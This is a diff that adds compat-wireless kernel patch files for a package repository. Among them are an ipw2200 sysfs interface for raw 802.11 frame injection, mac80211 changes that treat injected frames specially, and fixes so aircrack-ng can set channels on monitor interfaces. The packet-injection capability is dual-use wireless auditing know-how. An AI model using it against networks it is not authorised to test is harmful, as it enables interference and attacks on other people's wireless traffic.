/dev/null +++ b/net-wireless/compat-wireless/files/ipw2200-inject.3.4.6.patch @@ -0,0 +1,120 @@ +diff -urN linux-2.6.36-gentoo.orig/drivers/net/wireless/ipw2x00/ipw2200.c linux-2.6.36-gentoo/drivers/net/wireless/ipw2x00/ipw2200.c +--- linux-2.6.36-gentoo.orig/drivers/net/wireless/ipw2x00/ipw2200.c 2010-10-21 04:30:22.000000000 +0800 ++++ linux-2.6.36-gentoo/drivers/net/wireless/ipw2x00/ipw2200.c 2010-12-08 22:22:41.937999976 +0800 +@@ -216,6 +216,7 @@ + static int ipw_queue_tx_hcmd(struct ipw_priv *priv, int hcmd, void *buf, + int len, int sync); + ++static int ipw_tx_skb(struct ipw_priv *priv, struct libipw_txb *txb, int pri); + static void ipw_tx_queue_free(struct ipw_priv *); + + static struct ipw_rx_queue *ipw_rx_queue_alloc(struct ipw_priv *); +@@ -1911,6 +1912,63 @@ + static DEVICE_ATTR(net_stats, S_IWUSR | S_IRUGO, + show_net_stats, store_net_stats); + ++/* SYSFS INJECT */ ++static ssize_t store_inject(struct device *d, ++ struct device_attribute *attr, ++ const char *buf, size_t count) ++{ ++ struct ipw_priv *priv = dev_get_drvdata(d); ++ struct libipw_device *ieee = priv->ieee; ++ struct libipw_txb *txb; ++ struct sk_buff *skb_frag; ++ unsigned char *newbuf; ++ unsigned long flags; ++ ++ // should test (ieee->is_queue_full) ++ ++ // Fw only accepts data, so avoid accidental fw errors. ++ if ( (buf[0]&0x0c) != '\x08') { ++ //printk("ipw2200: inject: discarding non-data frame (type=%02X)\n",(int)(unsigned char)buf[0]); ++ return count; ++ } ++ ++ if (count>1500) { ++ count=1500; ++ printk("ipw2200: inject: cutting down frame to 1500 bytes\n"); ++ } ++ ++ spin_lock_irqsave(&priv->lock, flags); ++ ++ // Create a txb with one skb ++ txb = kmalloc(sizeof(struct libipw_txb) + sizeof(u8 *), GFP_ATOMIC); ++ if (!txb) ++ goto nosepuede; ++ txb->nr_frags=1; ++ txb->frag_size = ieee->tx_headroom; ++ txb->fragments[0]=__dev_alloc_skb(count + ieee->tx_headroom, GFP_ATOMIC); ++ if (!txb->fragments[0]) { ++ kfree(txb); ++ goto nosepuede; ++ } ++ skb_reserve(txb->fragments[0], ieee->tx_headroom); ++ txb->encrypted=0; ++ txb->payload_size=count; ++ skb_frag = txb->fragments[0]; ++ newbuf=skb_put(skb_frag, count); ++ ++ // copy data into txb->skb and send it ++ memcpy(newbuf, buf, count); ++ ++ ipw_tx_skb(priv, txb, 0); ++ ++nosepuede: ++ spin_unlock_irqrestore(&priv->lock, flags); ++ return count; ++} ++ ++ ++static DEVICE_ATTR(inject, S_IWUSR, NULL, store_inject); ++ + static ssize_t show_channels(struct device *d, + struct device_attribute *attr, + char *buf) +@@ -10214,7 +10272,6 @@ + modify to send one tfd per fragment instead of using chunking. otherwise + we need to heavily modify the libipw_skb_to_txb. + */ +- + static int ipw_tx_skb(struct ipw_priv *priv, struct libipw_txb *txb, + int pri) + { +@@ -10544,6 +10601,12 @@ + mutex_lock(&priv->mutex); + priv->config |= CFG_CUSTOM_MAC; + memcpy(priv->mac_addr, addr->sa_data, ETH_ALEN); ++ ++#ifdef CONFIG_IPW2200_PROMISCUOUS ++ if (rtap_iface) ++ memcpy(priv->prom_net_dev->dev_addr, addr->sa_data, ETH_ALEN); ++#endif ++ + printk(KERN_INFO "%s: Setting MAC to %pM\n", + priv->net_dev->name, priv->mac_addr); + schedule_work(&priv->adapter_restart); +@@ -11597,6 +11660,7 @@ + #ifdef CONFIG_IPW2200_PROMISCUOUS + &dev_attr_rtap_iface.attr, + &dev_attr_rtap_filter.attr, ++ &dev_attr_inject.attr, + #endif + NULL + }; +diff -urN linux-2.6.36-gentoo.orig/drivers/net/wireless/ipw2x00/ipw2200.h linux-2.6.36-gentoo/drivers/net/wireless/ipw2x00/ipw2200.h +--- linux-2.6.36-gentoo.orig/drivers/net/wireless/ipw2x00/ipw2200.h 2010-10-21 04:30:22.000000000 +0800 ++++ linux-2.6.36-gentoo/drivers/net/wireless/ipw2x00/ipw2200.h 2010-12-08 22:20:01.561000000 +0800 +@@ -2014,4 +2014,12 @@ + + #define IPW_MAX_CONFIG_RETRIES 10 + ++/* ++ * Hhack to get code compiling on new kernels, the define below ++ * seem to be removed from the linux headers. ++ */ ++#ifndef MAC_ARG ++#define MAC_ARG(x) ((u8*)(x))[0],((u8*)(x))[1],((u8*)(x))[2],((u8*)(x))[3],((u8*)(x))[4],((u8*)(x))[5] ++#endif ++ + #endif /* __ipw2200_h__ */ diff --git a/net-wireless/compat-wireless/files/iwlwifi-5000-exp-firmware.patch b/net-wireless/compat-wireless/files/iwlwifi-5000-exp-firmware.patch new file mode 100644 index 00000000..0b92e5ce --- /dev/null +++ b/net-wireless/compat-wireless/files/iwlwifi-5000-exp-firmware.patch @@ -0,0 +1,13 @@ +diff -Naur compat-wireless-2.6.37-4-sn-orig/config.mk compat-wireless-2.6.37-4-sn/config.mk +--- compat-wireless-2.6.37-4-sn-orig/config.mk 2011-01-12 20:03:11.000000000 -0500 ++++ compat-wireless-2.6.37-4-sn/config.mk 2011-01-13 11:53:46.000000000 -0500 +@@ -226,7 +226,8 @@ + + + CONFIG_COMPAT_IWLWIFI=m +-# CONFIG_IWLWIFI_DEBUG=y ++CONFIG_IWLWIFI_DEBUG=y ++CONFIG_IWLWIFI_DEBUG_EXPERIMENTAL_UCODE=y + # CONFIG_IWLWIFI_DEBUGFS=y + # CONFIG_IWLWIFI_DEVICE_TRACING=y + CONFIG_IWLAGN=m diff --git a/net-wireless/compat-wireless/files/johill-negone-paul.patch b/net-wireless/compat-wireless/files/johill-negone-paul.patch new file mode 100644 index 00000000..ad891e2a --- /dev/null +++ b/net-wireless/compat-wireless/files/johill-negone-paul.patch @@ -0,0 +1,75 @@ +diff -ur compat-wireless-3.2-rc1-1/include/net/cfg80211.h compat-wireless-3.2-rc1-1-new/include/net/cfg80211.h +--- compat-wireless-3.2-rc1-1/include/net/cfg80211.h 2011-11-15 00:44:56.000000000 +0400 ++++ compat-wireless-3.2-rc1-1-new/include/net/cfg80211.h 2011-11-27 09:48:41.000000000 +0400 +@@ -1338,6 +1338,9 @@ + * doesn't verify much. Note, however, that the passed netdev may be + * %NULL as well if the user requested changing the channel for the + * device itself, or for a monitor interface. ++ * @get_channel: Get the current operating channel, should return %NULL if ++ * there's no single defined operating channel if for example the ++ * device implements channel hopping for multi-channel virtual interfaces. + * + * @scan: Request to do a scan. If returning zero, the scan request is given + * the driver, and will be valid until passed to cfg80211_scan_done(). +@@ -1617,6 +1620,8 @@ + u16 status_code, const u8 *buf, size_t len); + int (*tdls_oper)(struct wiphy *wiphy, struct net_device *dev, + u8 *peer, enum nl80211_tdls_operation oper); ++ ++ struct ieee80211_channel *(*get_channel)(struct wiphy *wiphy); + }; + + /* +diff -ur compat-wireless-3.2-rc1-1/net/mac80211/cfg.c compat-wireless-3.2-rc1-1-new/net/mac80211/cfg.c +--- compat-wireless-3.2-rc1-1/net/mac80211/cfg.c 2011-11-15 00:44:54.000000000 +0400 ++++ compat-wireless-3.2-rc1-1-new/net/mac80211/cfg.c 2011-11-27 09:49:48.000000000 +0400 +@@ -2488,6 +2488,14 @@ + return 0; + } + ++static struct ieee80211_channel * ++ieee80211_wiphy_get_channel(struct wiphy *wiphy) ++{ ++ struct ieee80211_local *local = wiphy_priv(wiphy); ++ ++ return local->oper_channel; ++} ++ + struct cfg80211_ops mac80211_config_ops = { + .add_virtual_intf = ieee80211_add_iface, + .del_virtual_intf = ieee80211_del_iface, +@@ -2553,4 +2561,5 @@ + .set_rekey_data = ieee80211_set_rekey_data, + .tdls_oper = ieee80211_tdls_oper, + .tdls_mgmt = ieee80211_tdls_mgmt, ++ .get_channel = ieee80211_wiphy_get_channel, + }; +diff -ur compat-wireless-3.2-rc1-1/net/wireless/wext-compat.c compat-wireless-3.2-rc1-1-new/net/wireless/wext-compat.c +--- compat-wireless-3.2-rc1-1/net/wireless/wext-compat.c 2011-11-15 00:44:54.000000000 +0400 ++++ compat-wireless-3.2-rc1-1-new/net/wireless/wext-compat.c 2011-11-27 09:47:10.000000000 +0400 +@@ -819,12 +819,24 @@ + struct iw_freq *freq, char *extra) + { + struct wireless_dev *wdev = dev->ieee80211_ptr; ++ struct cfg80211_registered_device *rdev = wiphy_to_dev(wdev->wiphy); ++ struct ieee80211_channel *chan; + + switch (wdev->iftype) { + case NL80211_IFTYPE_STATION: + return cfg80211_mgd_wext_giwfreq(dev, info, freq, extra); + case NL80211_IFTYPE_ADHOC: + return cfg80211_ibss_wext_giwfreq(dev, info, freq, extra); ++ case NL80211_IFTYPE_MONITOR: ++ if (!rdev->ops->get_channel) ++ return -EINVAL; ++ ++ chan = rdev->ops->get_channel(wdev->wiphy); ++ if (!chan) ++ return -EINVAL; ++ freq->m = chan->center_freq; ++ freq->e = 6; ++ return 0; + default: + if (!wdev->channel) + return -EINVAL; + diff --git a/net-wireless/compat-wireless/files/johill-negone.patch b/net-wireless/compat-wireless/files/johill-negone.patch new file mode 100644 index 00000000..c6d1ae77 --- /dev/null +++ b/net-wireless/compat-wireless/files/johill-negone.patch @@ -0,0 +1,84 @@ +From: Johannes Berg + +Just add API to get the channel & report it. Trivial really. + +Signed-off-by: Johannes Berg +--- +So trivial it didn't even work ;-) + + include/net/cfg80211.h | 5 +++++ + net/mac80211/cfg.c | 9 +++++++++ + net/wireless/wext-compat.c | 12 ++++++++++++ + 3 files changed, 26 insertions(+) + +--- a/include/net/cfg80211.h 2011-11-09 10:13:05.000000000 +0100 ++++ b/include/net/cfg80211.h 2011-11-09 10:27:47.000000000 +0100 +@@ -1342,6 +1342,9 @@ struct cfg80211_gtk_rekey_data { + * doesn't verify much. Note, however, that the passed netdev may be + * %NULL as well if the user requested changing the channel for the + * device itself, or for a monitor interface. ++ * @get_channel: Get the current operating channel, should return %NULL if ++ * there's no single defined operating channel if for example the ++ * device implements channel hopping for multi-channel virtual interfaces. + * + * @scan: Request to do a scan. If returning zero, the scan request is given + * the driver, and will be valid until passed to cfg80211_scan_done(). +@@ -1627,6 +1630,8 @@ struct cfg80211_ops { + + int (*probe_client)(struct wiphy *wiphy, struct net_device *dev, + const u8 *peer, u64 *cookie); ++ ++ struct ieee80211_channel *(*get_channel)(struct wiphy *wiphy); + }; + + /* +--- a/net/wireless/wext-compat.c 2011-11-09 10:07:35.000000000 +0100 ++++ b/net/wireless/wext-compat.c 2011-11-09 10:13:18.000000000 +0100 +@@ -819,12 +819,24 @@ static int cfg80211_wext_giwfreq(struct + struct iw_freq *freq, char *extra) + { + struct wireless_dev *wdev = dev->ieee80211_ptr; ++ struct cfg80211_registered_device *rdev = wiphy_to_dev(wdev->wiphy); ++ struct ieee80211_channel *chan; + + switch (wdev->iftype) { + case NL80211_IFTYPE_STATION: + return cfg80211_mgd_wext_giwfreq(dev, info, freq, extra); + case NL80211_IFTYPE_ADHOC: + return cfg80211_ibss_wext_giwfreq(dev, info, freq, extra); ++ case NL80211_IFTYPE_MONITOR: ++ if (!rdev->ops->get_channel) ++ return -EINVAL; ++ ++ chan = rdev->ops->get_channel(wdev->wiphy); ++ if (!chan) ++ return -EINVAL; ++ freq->m = chan->center_freq; ++ freq->e = 6; ++ return 0; + default: + if (!wdev->channel) + return -EINVAL; +--- a/net/mac80211/cfg.c 2011-11-09 10:10:56.000000000 +0100 ++++ b/net/mac80211/cfg.c 2011-11-09 10:29:40.000000000 +0100 +@@ -2579,6 +2579,14 @@ static int ieee80211_probe_client(struct + return 0; + } + ++static struct ieee80211_channel * ++ieee80211_wiphy_get_channel(struct wiphy *wiphy) ++{ ++ struct ieee80211_local *local = wiphy_priv(wiphy); ++ ++ return local->oper_channel; ++} ++ + struct cfg80211_ops mac80211_config_ops = { + .add_virtual_intf = ieee80211_add_iface, + .del_virtual_intf = ieee80211_del_iface, +@@ -2645,4 +2653,5 @@ struct cfg80211_ops mac80211_config_ops + .tdls_oper = ieee80211_tdls_oper, + .tdls_mgmt = ieee80211_tdls_mgmt, + .probe_client = ieee80211_probe_client, ++ .get_channel = ieee80211_wiphy_get_channel, + }; diff --git a/net-wireless/compat-wireless/files/led-oops.patch b/net-wireless/compat-wireless/files/led-oops.patch new file mode 100644 index 00000000..c5b9ae6e --- /dev/null +++ b/net-wireless/compat-wireless/files/led-oops.patch @@ -0,0 +1,22 @@ +Index: wireless-testing/drivers/net/wireless/rtl818x/rtl8187_leds.c +=================================================================== +--- wireless-testing.orig/drivers/net/wireless/rtl818x/rtl8187_leds.c ++++ wireless-testing/drivers/net/wireless/rtl818x/rtl8187_leds.c +@@ -210,10 +210,10 @@ void rtl8187_leds_exit(struct ieee80211_ + + /* turn the LED off before exiting */ + ieee80211_queue_delayed_work(dev, &priv->led_off, 0); +- cancel_delayed_work_sync(&priv->led_off); +- cancel_delayed_work_sync(&priv->led_on); + rtl8187_unregister_led(&priv->led_rx); + rtl8187_unregister_led(&priv->led_tx); ++ cancel_delayed_work_sync(&priv->led_off); ++ cancel_delayed_work_sync(&priv->led_on); + } + #endif /* def CONFIG_RTL8187_LED */ + + + + + + diff --git a/net-wireless/compat-wireless/files/leds-disable-strict-3.6.6.patch b/net-wireless/compat-wireless/files/leds-disable-strict-3.6.6.patch new file mode 100644 index 00000000..fbc8d159 --- /dev/null +++ b/net-wireless/compat-wireless/files/leds-disable-strict-3.6.6.patch @@ -0,0 +1,30 @@ +--- drivers/net/wireless/rt2x00/rt2x00leds.c ++++ drivers/net/wireless/rt2x00/rt2x00leds.c +@@ -29,6 +29,7 @@ + #include "rt2x00.h" + #include "rt2x00lib.h" + ++#ifdef CONFIG_RT2X00_LIB_LEDS + void rt2x00leds_led_quality(struct rt2x00_dev *rt2x00dev, int rssi) + { + struct rt2x00_led *led = &rt2x00dev->led_qual; +@@ -244,3 +245,4 @@ + if (rt2x00dev->led_qual.flags & LED_REGISTERED) + rt2x00leds_resume_led(&rt2x00dev->led_qual); + } ++#endif /* CONFIG_RT2X00_LIB_LEDS */ +--- net/mac80211/led.c ++++ net/mac80211/led.c +@@ -12,6 +12,7 @@ + #include + #include "led.h" + ++#ifdef CONFIG_MAC80211_LEDS + void ieee80211_led_rx(struct ieee80211_local *local) + { + if (unlikely(!local->rx_led)) +@@ -307,3 +308,4 @@ + else + ieee80211_start_tpt_led_trig(local); + } ++#endif /* CONFIG_MAC80211_LEDS */ diff --git a/net-wireless/compat-wireless/files/leds-disable-strict.patch b/net-wireless/compat-wireless/files/leds-disable-strict.patch new file mode 100644 index 00000000..cf4a8c08 --- /dev/null +++ b/net-wireless/compat-wireless/files/leds-disable-strict.patch @@ -0,0 +1,64 @@ +diff -Naur /var/tmp/portage/net-wireless/compat-wireless-2.6.35_rc2-r1/work/compat-wireless-2.6.35-rc2/config.mk /usr/src/compat-wireless-2.6.35-rc2/config.mk +--- /var/tmp/portage/net-wireless/compat-wireless-2.6.35_rc2-r1/work/compat-wireless-2.6.35-rc2/config.mk 2010-06-11 15:32:27.000000000 -0400 ++++ /usr/src/compat-wireless-2.6.35-rc2/config.mk 2010-06-11 15:34:16.000000000 -0400 +@@ -130,7 +130,7 @@ + CONFIG_COMPAT_MAC80211_RC_DEFAULT=minstrel + CONFIG_MAC80211_RC_PID=y + CONFIG_MAC80211_RC_MINSTREL=y +-CONFIG_MAC80211_LEDS=y ++CONFIG_MAC80211_LEDS=n + + # enable mesh networking too + CONFIG_MAC80211_MESH=y +@@ -198,7 +198,7 @@ + ifneq ($(CONFIG_PCMCIA),) + CONFIG_B43_PCMCIA=y + endif +-CONFIG_B43_LEDS=y ++CONFIG_B43_LEDS=n + CONFIG_B43_PHY_LP=y + CONFIG_B43_NPHY=y + # CONFIG_B43_FORCE_PIO=y +@@ -207,7 +207,7 @@ + CONFIG_B43LEGACY=m + CONFIG_B43LEGACY_HWRNG=y + CONFIG_B43LEGACY_PCI_AUTOSELECT=y +-CONFIG_B43LEGACY_LEDS=y ++CONFIG_B43LEGACY_LEDS=n + # CONFIG_B43LEGACY_DEBUG=y + CONFIG_B43LEGACY_DMA=y + CONFIG_B43LEGACY_PIO=y +@@ -351,13 +351,13 @@ + + CONFIG_P54_USB=m + CONFIG_RTL8187=m +-CONFIG_RTL8187_LEDS=y ++CONFIG_RTL8187_LEDS=n + + CONFIG_AT76C50X_USB=m + + ifndef CONFIG_COMPAT_KERNEL_28 + CONFIG_AR9170_USB=m +-CONFIG_AR9170_LEDS=y ++CONFIG_AR9170_LEDS=n + endif + + CONFIG_ATH9K_HTC=m +@@ -446,7 +446,7 @@ + CONFIG_RT2X00_LIB_HT=y + CONFIG_RT2X00_LIB_FIRMWARE=y + CONFIG_RT2X00_LIB_CRYPTO=y +-CONFIG_RT2X00_LIB_LEDS=y ++CONFIG_RT2X00_LIB_LEDS=n + # CONFIG_RT2X00_DEBUG=y + # CONFIG_RT2X00_LIB_DEBUGFS + endif +@@ -457,7 +457,7 @@ + + # p54 + CONFIG_P54_COMMON=m +-CONFIG_P54_LEDS=y ++CONFIG_P54_LEDS=n + + # Atheros + CONFIG_ATH_COMMON=m diff --git a/net-wireless/compat-wireless/files/leds-disable.patch b/net-wireless/compat-wireless/files/leds-disable.patch new file mode 100644 index 00000000..521246c0 --- /dev/null +++ b/net-wireless/compat-wireless/files/leds-disable.patch @@ -0,0 +1,56 @@ +diff -Naur compat-wireless-2.6.35-rc2/config.mk /usr/src/patch_create/config.mk +--- compat-wireless-2.6.35-rc2/config.mk 2010-06-11 13:42:35.000000000 -0400 ++++ /usr/src/patch_create/config.mk 2010-06-11 13:41:23.000000000 -0400 +@@ -198,7 +198,7 @@ + ifneq ($(CONFIG_PCMCIA),) + CONFIG_B43_PCMCIA=y + endif +-CONFIG_B43_LEDS=y ++CONFIG_B43_LEDS=n + CONFIG_B43_PHY_LP=y + CONFIG_B43_NPHY=y + # CONFIG_B43_FORCE_PIO=y +@@ -207,7 +207,7 @@ + CONFIG_B43LEGACY=m + CONFIG_B43LEGACY_HWRNG=y + CONFIG_B43LEGACY_PCI_AUTOSELECT=y +-CONFIG_B43LEGACY_LEDS=y ++CONFIG_B43LEGACY_LEDS=n + # CONFIG_B43LEGACY_DEBUG=y + CONFIG_B43LEGACY_DMA=y + CONFIG_B43LEGACY_PIO=y +@@ -351,13 +351,13 @@ + + CONFIG_P54_USB=m + CONFIG_RTL8187=m +-CONFIG_RTL8187_LEDS=y ++CONFIG_RTL8187_LEDS=n + + CONFIG_AT76C50X_USB=m + + ifndef CONFIG_COMPAT_KERNEL_28 + CONFIG_AR9170_USB=m +-CONFIG_AR9170_LEDS=y ++CONFIG_AR9170_LEDS=n + endif + + CONFIG_ATH9K_HTC=m +@@ -446,7 +446,7 @@ + CONFIG_RT2X00_LIB_HT=y + CONFIG_RT2X00_LIB_FIRMWARE=y + CONFIG_RT2X00_LIB_CRYPTO=y +-CONFIG_RT2X00_LIB_LEDS=y ++CONFIG_RT2X00_LIB_LEDS=n + # CONFIG_RT2X00_DEBUG=y + # CONFIG_RT2X00_LIB_DEBUGFS + endif +@@ -457,7 +457,7 @@ + + # p54 + CONFIG_P54_COMMON=m +-CONFIG_P54_LEDS=y ++CONFIG_P54_LEDS=n + + # Atheros + CONFIG_ATH_COMMON=m + diff --git a/net-wireless/compat-wireless/files/linville-aircrack-ng.patch b/net-wireless/compat-wireless/files/linville-aircrack-ng.patch new file mode 100644 index 00000000..935b437e --- /dev/null +++ b/net-wireless/compat-wireless/files/linville-aircrack-ng.patch @@ -0,0 +1,61 @@ +This is the latest attempt to address the long-standing complaint from +the aircrack-ng folks about being unable to change the channel on +monitor interfaces. This version checks for the existance of other +"active" interfaces and refuses the channel change if they are present. + + https://bugzilla.redhat.com/show_bug.cgi?id=654344 + +Signed-off-by: John W. Linville +--- + net/wireless/chan.c | 29 +++++++++++++++++++++++++++-- + 1 files changed, 27 insertions(+), 2 deletions(-) + +diff --git a/net/wireless/chan.c b/net/wireless/chan.c +index 17cd0c0..d4add34 100644 +--- a/net/wireless/chan.c ++++ b/net/wireless/chan.c +@@ -81,10 +81,32 @@ int cfg80211_set_freq(struct cfg80211_registered_device *rdev, + enum nl80211_channel_type channel_type) + { + struct ieee80211_channel *chan; +- int result; ++ int result, active_intf_present = 0; ++ struct wireless_dev *mon_wdev = NULL; ++ ++ if (wdev && wdev->iftype == NL80211_IFTYPE_MONITOR) { ++ mon_wdev = wdev; ++ ++ ASSERT_RDEV_LOCK(rdev); ++ ++ /* rdev->devlist_mtx locked by callers */ ++ list_for_each_entry(wdev, &rdev->netdev_list, list) { ++ if (wdev && wdev != mon_wdev && ++ (wdev->iftype == NL80211_IFTYPE_ADHOC || ++ wdev->iftype == NL80211_IFTYPE_AP || ++ wdev->iftype == NL80211_IFTYPE_AP_VLAN || ++ wdev->iftype == NL80211_IFTYPE_MESH_POINT || ++ wdev->iftype == NL80211_IFTYPE_P2P_GO)) { ++ active_intf_present = 1; ++ break; ++ } ++ } ++ ++ if (active_intf_present) ++ return -EINVAL; + +- if (wdev && wdev->iftype == NL80211_IFTYPE_MONITOR) + wdev = NULL; ++ } + + if (wdev) { + ASSERT_WDEV_LOCK(wdev); +@@ -131,5 +153,8 @@ int cfg80211_set_freq(struct cfg80211_registered_device *rdev, + if (wdev) + wdev->channel = chan; + ++ if (mon_wdev) ++ mon_wdev->channel = chan; ++ + return 0; + } + diff --git a/net-wireless/compat-wireless/files/mac80211.compat08082009.wl_frag+ack_v1.patch b/net-wireless/compat-wireless/files/mac80211.compat08082009.wl_frag+ack_v1.patch new file mode 100644 index 00000000..8b7add3d --- /dev/null +++ b/net-wireless/compat-wireless/files/mac80211.compat08082009.wl_frag+ack_v1.patch @@ -0,0 +1,27 @@ +diff --git a/net/mac80211/tx.c b/net/mac80211/tx.c +index 0855cac..221bed6 100644 +--- a/net/mac80211/tx.c ++++ b/net/mac80211/tx.c +@@ -677,11 +677,19 @@ int tid; + + /* + * Packet injection may want to control the sequence +- * number, if we have no matching interface then we +- * neither assign one ourselves nor ask the driver to. ++ * number, so if an injected packet is found, skip ++ * renumbering it. Also make the packet NO_ACK to avoid ++ * excessive retries (ACKing and retrying should be ++ * handled by the injecting application). ++ * FIXME This may break hostapd and some other injectors. ++ * This should be done using a radiotap flag. + */ +- if (unlikely(info->control.vif->type == NL80211_IFTYPE_MONITOR)) ++ if (unlikely((info->flags & IEEE80211_TX_CTL_INJECTED) && ++ !(tx->sdata->u.mntr_flags & MONITOR_FLAG_COOK_FRAMES))) { ++ if (!ieee80211_has_morefrags(hdr->frame_control)) ++ info->flags |= IEEE80211_TX_CTL_NO_ACK; + return TX_CONTINUE; ++ } + + if (unlikely(ieee80211_is_ctl(hdr->frame_control))) + return TX_CONTINUE; diff --git a/net-wireless/compat-wireless/files/make-make.patch b/net-wireless/compat-wireless/files/make-make.patch new file mode 100644 index 00000000..4ef02c83 --- /dev/null +++ b/net-wireless/compat-wireless/files/make-make.patch @@ -0,0 +1,12 @@ +diff -Naur compat-wireless-3.0-rc4-1-orig/Makefile compat-wireless-3.0-rc4-1/Makefile +--- compat-wireless-3.0-rc4-1-orig/Makefile 2011-06-24 01:20:08.000000000 -0400 ++++ compat-wireless-3.0-rc4-1/Makefile 2011-06-24 01:20:34.000000000 -0400 +@@ -154,7 +154,7 @@ + @echo + + btclean: +- make -C /lib/modules/$(shell uname -r)/build M=$(PWD) BT=TRUE clean ++ $(MAKE) -C /lib/modules/$(shell uname -r)/build M=$(PWD) BT=TRUE clean + @rm -f $(CREL_PRE)* + + install: uninstall install-modules install-scripts diff --git a/net-wireless/compat-wireless/files/orinoco-remove-all-which-are-in-hostap-OFFICIAL.patch b/net-wireless/compat-wireless/files/orinoco-remove-all-which-are-in-hostap-OFFICIAL.patch new file mode 100644 index 00000000..ee08ad52 --- /dev/null +++ b/net-wireless/compat-wireless/files/orinoco-remove-all-which-are-in-hostap-OFFICIAL.patch @@ -0,0 +1,191 @@ +The hostap driver provides better support for Prism chipset. + +Signed-off-by: Pavel Roskin +--- + drivers/net/wireless/orinoco/Kconfig | 13 ++++- + drivers/net/wireless/orinoco/hw.c | 7 +++ + drivers/net/wireless/orinoco/orinoco_cs.c | 79 +++++++++++++++-------------- + 3 files changed, 60 insertions(+), 39 deletions(-) + +diff --git a/drivers/net/wireless/orinoco/Kconfig b/drivers/net/wireless/orinoco/Kconfig +index e2a2c18..6116b54 100644 +--- a/drivers/net/wireless/orinoco/Kconfig ++++ b/drivers/net/wireless/orinoco/Kconfig +@@ -27,6 +27,17 @@ config HERMES + configure your card and that /etc/pcmcia/wireless.opts works : + + ++config HERMES_PRISM ++ bool "Support Prism 2/2.5 chipset" ++ depends on HERMES ++ ---help--- ++ ++ Say Y to enable support for Prism 2 and 2.5 chipsets. These ++ chipsets are better handled by the hostap driver. This driver ++ would not support WPA or firmware download for Prism chipset. ++ ++ If you are not sure, say N. ++ + config HERMES_CACHE_FW_ON_INIT + bool "Cache Hermes firmware on driver initialisation" + depends on HERMES +@@ -86,7 +97,7 @@ config NORTEL_HERMES + + config PCI_HERMES + tristate "Prism 2.5 PCI 802.11b adaptor support" +- depends on PCI && HERMES ++ depends on PCI && HERMES && HERMES_PRISM + help + Enable support for PCI and mini-PCI 802.11b wireless NICs based on + the Prism 2.5 chipset. These are true PCI cards, not the 802.11b +diff --git a/drivers/net/wireless/orinoco/hw.c b/drivers/net/wireless/orinoco/hw.c +index e636924..883b8f8 100644 +--- a/drivers/net/wireless/orinoco/hw.c ++++ b/drivers/net/wireless/orinoco/hw.c +@@ -262,6 +262,13 @@ int determine_fw_capabilities(struct orinoco_private *priv, + if (fw_name) + dev_info(dev, "Firmware determined as %s\n", fw_name); + ++#ifndef CONFIG_HERMES_PRISM ++ if (priv->firmware_type == FIRMWARE_TYPE_INTERSIL) { ++ dev_err(dev, "Support for Prism chipset is not enabled\n"); ++ return -ENODEV; ++ } ++#endif ++ + return 0; + } + +diff --git a/drivers/net/wireless/orinoco/orinoco_cs.c b/drivers/net/wireless/orinoco/orinoco_cs.c +index 1d4ada1..fdc9613 100644 +--- a/drivers/net/wireless/orinoco/orinoco_cs.c ++++ b/drivers/net/wireless/orinoco/orinoco_cs.c +@@ -374,87 +374,90 @@ static char version[] __initdata = DRIVER_NAME " " DRIVER_VERSION + "Pavel Roskin , et al)"; + + static struct pcmcia_device_id orinoco_cs_ids[] = { +- PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7100), /* SonicWALL Long Range Wireless Card */ +- PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7300), /* Sohoware NCP110, Philips 802.11b */ +- PCMCIA_DEVICE_MANF_CARD(0x0089, 0x0002), /* AnyPoint(TM) Wireless II PC Card */ + PCMCIA_DEVICE_MANF_CARD(0x0101, 0x0777), /* 3Com AirConnect PCI 777A */ +- PCMCIA_DEVICE_MANF_CARD(0x0126, 0x8000), /* PROXIM RangeLAN-DS/LAN PC CARD */ +- PCMCIA_DEVICE_MANF_CARD(0x0138, 0x0002), /* Compaq WL100 11 Mbps Wireless Adapter */ + PCMCIA_DEVICE_MANF_CARD(0x0156, 0x0002), /* Lucent Orinoco and old Intersil */ + PCMCIA_DEVICE_MANF_CARD(0x016b, 0x0001), /* Ericsson WLAN Card C11 */ + PCMCIA_DEVICE_MANF_CARD(0x01eb, 0x080a), /* Nortel Networks eMobility 802.11 Wireless Adapter */ +- PCMCIA_DEVICE_MANF_CARD(0x01ff, 0x0008), /* Intermec MobileLAN 11Mbps 802.11b WLAN Card */ +- PCMCIA_DEVICE_MANF_CARD(0x0250, 0x0002), /* Samsung SWL2000-N 11Mb/s WLAN Card */ + PCMCIA_DEVICE_MANF_CARD(0x0261, 0x0002), /* AirWay 802.11 Adapter (PCMCIA) */ + PCMCIA_DEVICE_MANF_CARD(0x0268, 0x0001), /* ARtem Onair */ + PCMCIA_DEVICE_MANF_CARD(0x0268, 0x0003), /* ARtem Onair Comcard 11 */ + PCMCIA_DEVICE_MANF_CARD(0x026f, 0x0305), /* Buffalo WLI-PCM-S11 */ +- PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1612), /* Linksys WPC11 Version 2.5 */ +- PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1613), /* Linksys WPC11 Version 3 */ +- PCMCIA_DEVICE_MANF_CARD(0x028a, 0x0002), /* Compaq HNW-100 11 Mbps Wireless Adapter */ +- PCMCIA_DEVICE_MANF_CARD(0x028a, 0x0673), /* Linksys WCF12 Wireless CompactFlash Card */ + PCMCIA_DEVICE_MANF_CARD(0x02aa, 0x0002), /* ASUS SpaceLink WL-100 */ + PCMCIA_DEVICE_MANF_CARD(0x02ac, 0x0002), /* SpeedStream SS1021 Wireless Adapter */ + PCMCIA_DEVICE_MANF_CARD(0x02ac, 0x3021), /* SpeedStream Wireless Adapter */ + PCMCIA_DEVICE_MANF_CARD(0x14ea, 0xb001), /* PLANEX RoadLannerWave GW-NS11H */ ++ PCMCIA_DEVICE_PROD_ID12("3Com", "3CRWE737A AirConnect Wireless LAN PC Card", 0x41240e5b, 0x56010af3), ++ PCMCIA_DEVICE_PROD_ID12("Allied Telesyn", "AT-WCL452 Wireless PCMCIA Radio", 0x5cd01705, 0x4271660f), ++ PCMCIA_DEVICE_PROD_ID12("ASUS", "802_11B_CF_CARD_25", 0x78fc06ee, 0x45a50c1e), ++ PCMCIA_DEVICE_PROD_ID12("ASUS", "802_11b_PC_CARD_25", 0x78fc06ee, 0xdb9aa842), ++ PCMCIA_DEVICE_PROD_ID12("Avaya Communication", "Avaya Wireless PC Card", 0xd8a43b78, 0x0d341169), ++ PCMCIA_DEVICE_PROD_ID12("BENQ", "AWL100 PCMCIA ADAPTER", 0x35dadc74, 0x01f7fedb), ++ 